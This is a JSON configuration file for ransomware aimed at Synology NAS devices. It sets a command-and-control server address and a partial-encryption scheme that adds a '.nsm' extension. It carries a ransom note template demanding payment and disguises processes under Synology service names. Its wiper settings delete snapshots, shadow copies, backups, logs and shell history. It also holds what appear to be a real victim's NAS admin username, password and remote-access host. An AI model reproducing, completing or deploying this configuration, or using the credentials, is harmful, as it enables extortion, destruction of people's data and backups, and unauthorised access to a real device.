{
  "_comment": "NAS hard. C2 VPS :58595 (45.74.7.105). LockBit-style: head-only 4KB for ALL files (threshold=1). PDF/huge→spots 0x17. Replace-mode .nsm.",
  "c2": {
    "retry_attempts": 10,
    "retry_base_delay_ms": 2000,
    "retry_max_delay_ms": 30000,
    "server_url": "https://45.74.7.105:58595",
    "socks_addr": "",
    "timeout_seconds": 120,
    "tor": false,
    "tor_data_dir": ""
  },
  "crypto": {
    "extension": ".nsm",
    "mode": "smart",
    "skip_extensions": [
      ".nsm",
      ".key",
      ".run",
      ".ech0raix",
      ".json",
      ".pem",
      ".crt"
    ],
    "smart": {
      "default_strategy": "head",
      "head_bytes": 4096,
      "tail_bytes": 0,
      "threshold": 1,
      "type_rules": {
        "spots": [
          ".pdf"
        ]
      }
    }
  },
  "misc": {
    "dry_run": false,
    "full_lockdown": false,
    "payment_poll_seconds": 30,
    "persistence": {
      "cron_schedule": "@reboot",
      "enabled": false,
      "harden_script": false,
      "service_name": "synodnsd"
    },
    "process_name": "synoscgi",
    "require_payment": true,
    "self_delete": true,
    "stop_defenders": false,
    "verbose": true
  },
  "ransom": {
    "amount": "",
    "contact_email": "",
    "currency": "",
    "dsm_admin_account": "scrapdog",
    "dsm_admin_password": "IcoMar@1971",
    "dsm_public_host": "l4dypegaserver.de8.quickconnect.to",
    "network": "",
    "note_filename": "READ_ME_UNLOCK_FILES.txt",
    "note_scope": "parent",
    "note_template": "YOUR FILES ARE LOCKED\n\nYour files have been encrypted.\nTo unlock them, pay using ANY of the wallets below:\n\n{{wallets}}\n\nContact email:   {{contact_email}}\n\nVictim ID: {{victim_id}}\n\n(legacy single-line also works: {{amount}} {{currency}} {{network}} {{payment_address}})",
    "notes_per_dir": 1,
    "payment_address": "",
    "wallets": [
      {
        "address": "",
        "amount": "",
        "currency": "",
        "label": "",
        "network": ""
      }
    ],
    "welcome_overwrite": true
  },
  "targets": {
    "auto_detect_volumes": true,
    "directories": [],
    "encrypt_all": true,
    "max_file_size": 0,
    "parallelism": 0
  },
  "wipers": {
    "delete_btrfs_snapshots": true,
    "delete_shadow_copies": true,
    "delete_user_backups": true,
    "empty_recycle_bins": true,
    "kill_hybrid_share": true,
    "kill_snapshot_replication": true,
    "kill_synology_backup": true,
    "wipe_journald": true,
    "wipe_shell_history": true,
    "wipe_synology_logs": true
  }
}